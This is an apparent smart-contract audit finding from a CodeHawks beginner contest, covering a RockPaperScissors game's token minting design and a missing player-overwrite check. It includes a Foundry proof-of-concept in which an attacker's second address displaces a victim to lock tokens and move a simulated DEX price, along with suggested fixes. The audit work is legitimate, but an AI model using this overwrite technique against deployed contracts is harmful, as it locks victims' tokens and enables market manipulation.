Rock Paper Scissors

First Flight #38
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: low
Valid

[H-2] Token Economic Design Vulnerability in RockPaperScissors Contract

Summary

The RockPaperScissors contract has a critical economic design flaw in its token system that creates both inflationary and deflationary pressures that can be manipulated. The contract permanently locks staked tokens in the contract while minting new tokens for winners, instead of transferring the staked tokens. When combined with the missing access control vulnerability in joinGameWithToken, this creates a mechanism that can be exploited for market manipulation.

Vulnerability Details

The token economy of the RockPaperScissors contract operates in two distinct modes with opposing economic effects:

  1. ETH Games (Inflationary):

    // In _finishGame function
    if (game.bet > 0) {
    // ETH logic here...
    // Then for ETH games, a free token is also minted
    winningToken.mint(_winner, 1);
    }
    • Players who win ETH games receive newly minted tokens without staking any

    • This continuously increases token supply, creating inflationary pressure

    • Over time, this devalues existing tokens as more enter circulation

  2. Token Games (Potentially Deflationary):

    // Handle token prizes - winner gets both tokens
    if (game.bet == 0) {
    // Mint a winning token
    winningToken.mint(_winner, 2);
    }
    • Players stake tokens that are never transferred out of the contract

    • Instead of transferring staked tokens, new tokens are minted to winners

    • In normal operation: 2 tokens locked, 2 tokens minted = neutral effect

    • But with the access control vulnerability in joinGameWithToken: 3 tokens locked, 2 tokens minted = deflationary effect

  3. Missing Access Control in joinGameWithToken:

    function joinGameWithToken(uint256 _gameId) external {
    Game storage game = games[_gameId];
    require(game.state == GameState.Created, "Game not open to join");
    require(game.playerA != msg.sender, "Cannot join your own game");
    require(block.timestamp <= game.joinDeadline, "Join deadline passed");
    require(game.bet == 0, "This game requires ETH bet");
    require(winningToken.balanceOf(msg.sender) >= 1, "Must have winning token");
    // Missing check: require(game.playerB == address(0), "Game already has a second player");
    // Transfer token to contract
    winningToken.transferFrom(msg.sender, address(this), 1);
    game.playerB = msg.sender;
    emit PlayerJoined(_gameId, msg.sender);
    }
    • The function doesn't verify if game.playerB is already set

    • This allows a third player to overwrite the second player's position

    • Results in 3 tokens being locked while only 2 are minted back to circulation

The WinningToken contract has no maximum supply cap:

function mint(address to, uint256 amount) external onlyOwner {
_mint(to, amount);
}

This combination creates a manipulable economic system where an attacker can strategically create deflationary pressure to drive up token prices.

Impact

Medium - Funds are indirectly at risk. Players lose funds through inflation, as the total token supply in circulation increases with every ETH game played. The economic stability of the token ecosystem is compromised, leading to decreased token value over time.
Likelihood
(There is also impact of deflation, but this is due to the [H-1] missing access control that was already reported).

High - This vulnerability is triggered every time an ETH game is completed, which is a core function of the platform. It's highly probable to happen through normal usage of the contract without requiring any special knowledge or techniques.

According to the CodeHawks risk matrix, this vulnerability has a High severity rating (Medium impact + High likelihood = High).

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "forge-std/console.sol";
import "../src/RockPaperScissors.sol";
import "../src/WinningToken.sol";
// Simple AMM DEX simulation (x * y = k formula)
contract SimpleDEX {
uint256 public ethReserve;
uint256 public tokenReserve;
constructor(uint256 _initialEth, uint256 _initialTokens) {
ethReserve = _initialEth;
tokenReserve = _initialTokens;
}
// Calculate token price in ETH
function getTokenPrice() public view returns (uint256) {
return (ethReserve * 1e18) / tokenReserve; // Price in wei per token
}
// Simulate the impact of buying/selling tokens
function simulateTokenSell(uint256 tokenAmount) public view returns (uint256) {
uint256 newTokenReserve = tokenReserve + tokenAmount;
uint256 newEthReserve = (ethReserve * tokenReserve) / newTokenReserve;
uint256 ethReceived = ethReserve - newEthReserve;
return ethReceived;
}
// Update reserves to simulate market activity
function updateReserves(uint256 _ethReserve, uint256 _tokenReserve) public {
ethReserve = _ethReserve;
tokenReserve = _tokenReserve;
}
}
contract TokenEconomicsExploitTest is Test {
RockPaperScissors public game;
WinningToken public token;
SimpleDEX public dex;
address public playerA; // Main attacker
address public playerA2; // Attacker's second address
address public playerVictim; // Innocent victim
address public otherTrader; // Other market participant
uint256 constant BET_AMOUNT = 0.1 ether;
uint256 constant TIMEOUT = 10 minutes;
uint256 constant TOTAL_TURNS = 1;
function setUp() public {
// Set up addresses
playerA = makeAddr("playerA"); // Attacker
playerA2 = makeAddr("playerA2"); // Attacker's second address
playerVictim = makeAddr("victim"); // Innocent player
otherTrader = makeAddr("trader"); // Other market participant
// Fund accounts
vm.deal(playerA, 10 ether);
vm.deal(playerA2, 5 ether);
vm.deal(playerVictim, 10 ether);
vm.deal(otherTrader, 10 ether);
// Deploy game contract
game = new RockPaperScissors();
token = WinningToken(game.winningToken());
// Initial DEX liquidity (initialize after players earn tokens)
dex = new SimpleDEX(0, 0);
}
function testTokenEconomicsExploit() public {
console.log("====== PHASE 1: Players earn tokens from ETH games ======");
console.log("====== New tokens are mint ======");
earnTokensFromEthGame(playerA, 10);
// PHASE 2: Create a DEX liquidity pool
console.log("\n====== PHASE 2: Create DEX liquidity pool ======");
// Simulate DEX pool creation with 2 ETH and 5 tokens
// Initial price: 0.4 ETH per token
uint256 initialLiquidityEth = 2 ether;
uint256 initialLiquidityTokens = 5;
dex.updateReserves(initialLiquidityEth, initialLiquidityTokens);
uint256 initialPrice = dex.getTokenPrice();
// Display initial price
console.log("Initial token price (wei):", initialPrice);
// PHASE 3: Players earn tokens by playing ETH games (Inflation)
console.log("====== PHASE 3: Players earn more tokens from ETH games ======");
console.log("====== Inflation occurs as new tokens are mint ======");
// PlayerA2 (attacker's second address) also needs tokens
earnTokensFromEthGame(playerA2, 5);
// Victim also plays and earns tokens
earnTokensFromEthGame(playerVictim, 5);
// Other trader earns tokens too
earnTokensFromEthGame(otherTrader, 5);
console.log("PlayerA token balance:", token.balanceOf(playerA));
console.log("PlayerA2 token balance:", token.balanceOf(playerA2));
console.log("Victim token balance:", token.balanceOf(playerVictim));
console.log("Other trader balance:", token.balanceOf(otherTrader));
// PHASE 4: Observe price impact
console.log("\n====== PHASE 4: Market impact of Inflation ======");
// Update DEX for increased circulating supply
dex.updateReserves(initialLiquidityEth, initialLiquidityTokens * 2); // Double the supply
uint256 inflatedPrice = dex.getTokenPrice();
console.log("Token price after inflation (wei):", inflatedPrice);
// Calculate price decrease properly - avoid underflow
uint256 decreasePercent = (initialPrice - inflatedPrice) * 100 / initialPrice;
console.log("Price decrease percentage:", decreasePercent, "%");
console.log("\n====== PHASE 5: Losses due to inflation ======");
// Calculate how much ETH a token holder would receive by selling tokens at devalued price
uint256 tokensSelling = 5;
// First, set reserves to initial state
dex.updateReserves(initialLiquidityEth, initialLiquidityTokens);
uint256 sellValueBefore = dex.simulateTokenSell(tokensSelling);
// Then simulate after inflation
dex.updateReserves(initialLiquidityEth, initialLiquidityTokens * 2);
uint256 sellValueAfter = dex.simulateTokenSell(tokensSelling);
console.log("ETH received before inflation:", sellValueBefore);
console.log("ETH received after inflation:", sellValueAfter);
if (sellValueBefore > sellValueAfter) {
console.log("Loss:", sellValueBefore - sellValueAfter);
console.log("Loss percentage:", (sellValueBefore - sellValueAfter) * 100 / sellValueBefore, "%");
}
// PHASE 6: Execute the economic attack
console.log("\n====== PHASE 6: Execute deflationary economic attack ======");
console.log("Token supply before attack:", token.totalSupply());
console.log("Play 3 token games and exploit the missing access control vulnerability in joinGameWithToken");
console.log("(Deflation occurs as victim tokens get locked in contract)");
// Reset DEX for demonstration
dex.updateReserves(initialLiquidityEth, initialLiquidityTokens);
// Play 3 token games and exploit the overwrite vulnerability
for (uint i = 0; i < 3; i++) {
// Track circulating supply before game
uint256 circulatingSupplyBefore = token.totalSupply() - token.balanceOf(address(game));
// Create token game
vm.startPrank(playerA);
token.approve(address(game), 1);
uint256 gameId = game.createGameWithToken(TOTAL_TURNS, TIMEOUT);
vm.stopPrank();
// Victim joins the game
vm.startPrank(playerVictim);
token.approve(address(game), 1);
game.joinGameWithToken(gameId);
vm.stopPrank();
// PlayerA's second address overwrites victim's position
vm.startPrank(playerA2);
token.approve(address(game), 1);
game.joinGameWithToken(gameId);
vm.stopPrank();
// Play game - PlayerA commits Rock
bytes32 saltA = keccak256(abi.encodePacked("saltA", i));
bytes32 commitA = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Rock), saltA));
vm.prank(playerA);
game.commitMove(gameId, commitA);
// PlayerA2 commits Paper (to win)
bytes32 saltA2 = keccak256(abi.encodePacked("saltA2", i));
bytes32 commitA2 = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Paper), saltA2));
vm.prank(playerA2);
game.commitMove(gameId, commitA2);
// Reveal moves
vm.prank(playerA);
game.revealMove(gameId, uint8(RockPaperScissors.Move.Rock), saltA);
vm.prank(playerA2);
game.revealMove(gameId, uint8(RockPaperScissors.Move.Paper), saltA2);
// Calculate circulating supply after game
uint256 circulatingSupplyAfter = token.totalSupply() - token.balanceOf(address(game));
// Avoid int conversion - use conditional logic instead
if (circulatingSupplyAfter >= circulatingSupplyBefore) {
console.log("Game ", i, " - Circulating supply change: +", circulatingSupplyAfter - circulatingSupplyBefore);
} else {
console.log("Game ", i, " - Circulating supply change: -", circulatingSupplyBefore - circulatingSupplyAfter);
}
console.log("Contract token balance: ", token.balanceOf(address(game)));
console.log("Total token supply: ", token.totalSupply());
}
console.log("Total supply after attack:", token.totalSupply());
console.log("Tokens locked in contract:", token.balanceOf(address(game)));
console.log("Circulating supply after attack:", token.totalSupply() - token.balanceOf(address(game)));
// PHASE 7: Observe price impact of deflation
console.log("\n====== PHASE 7: Market impact of deflation ======");
// Update DEX for reduced circulating supply (3 tokens permanently removed)
dex.updateReserves(initialLiquidityEth, initialLiquidityTokens - 3);
uint256 deflatedPrice = dex.getTokenPrice();
console.log("Token price after deflation (wei):", deflatedPrice);
// Calculate price increase properly
uint256 increasePercent = (deflatedPrice - initialPrice) * 100 / initialPrice;
console.log("Price increase percentage:", increasePercent, "%");
// PHASE 8: Attacker profits from artificially created scarcity
console.log("\n====== PHASE 8: Attacker profits from artificially created scarcity ======");
// Calculate how much ETH attacker would receive by selling tokens at inflated price
dex.updateReserves(initialLiquidityEth, initialLiquidityTokens); // Original price
uint256 ethBeforeAttack = dex.simulateTokenSell(tokensSelling);
dex.updateReserves(initialLiquidityEth, initialLiquidityTokens - 3); // Deflated price
uint256 ethAfterAttack = dex.simulateTokenSell(tokensSelling);
console.log("ETH received before attack:", ethBeforeAttack);
console.log("ETH received after attack:", ethAfterAttack);
console.log("Profit increase:", ethAfterAttack - ethBeforeAttack);
console.log("Profit increase percentage:", (ethAfterAttack - ethBeforeAttack) * 100 / ethBeforeAttack, "%");
}
// Helper function to simulate players earning tokens from ETH games
function earnTokensFromEthGame(address player, uint256 tokens) internal {
// Instead of actually playing ETH games, we'll simulate
// the player winning and receiving tokens
vm.prank(address(game));
token.mint(player, tokens);
}
}

Tools Used

  • Manual code review

  • Foundry test framework with custom AMM simulation

  • Economic impact analysis

Recommendations

  1. Fix Token Flow Logic:

    // Handle token prizes - winner gets both tokens
    if (game.bet == 0) {
    // Transfer existing tokens instead of minting new ones
    token.transfer(_winner, 2);
    }
  2. Fix Access Control Vulnerability:
    This Vulnerability was already submitted

    function joinGameWithToken(uint256 _gameId) external {
    // ... existing code ...
    require(game.playerB == address(0), "Game already has a second player");
    // ... rest of the function ...
    }
  3. Implement Token Tracking:

    // Add a mapping to track which tokens belong to which game
    mapping(uint256 => uint256) public gameTokens;
    // When players join with tokens, track those tokens
    function joinGameWithToken(uint256 _gameId) external {
    // ... existing code ...
    gameTokens[_gameId] += 1;
    }
  4. Consider Adding a Token Supply Cap:

    // In WinningToken.sol
    uint256 public constant MAX_SUPPLY = 1000000;
    function mint(address to, uint256 amount) external onlyOwner {
    require(totalSupply() + amount <= MAX_SUPPLY, "Max supply exceeded");
    _mint(to, amount);
    }
  5. Design a Sustainable Tokenomics Model:

    • Consider a model where ETH game winners must stake tokens to receive higher rewards

    • Implement token burning mechanisms to counterbalance inflationary pressure

    • Ensure that token games use a token transfer system rather than a mint/lock system

Updates

Appeal created

m3dython Lead Judge about 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Minting Instead of Transferring Staked Tokens

Mints new tokens upon game completion or cancellation for token-based games

m3dython Lead Judge about 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Minting Instead of Transferring Staked Tokens

Mints new tokens upon game completion or cancellation for token-based games

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.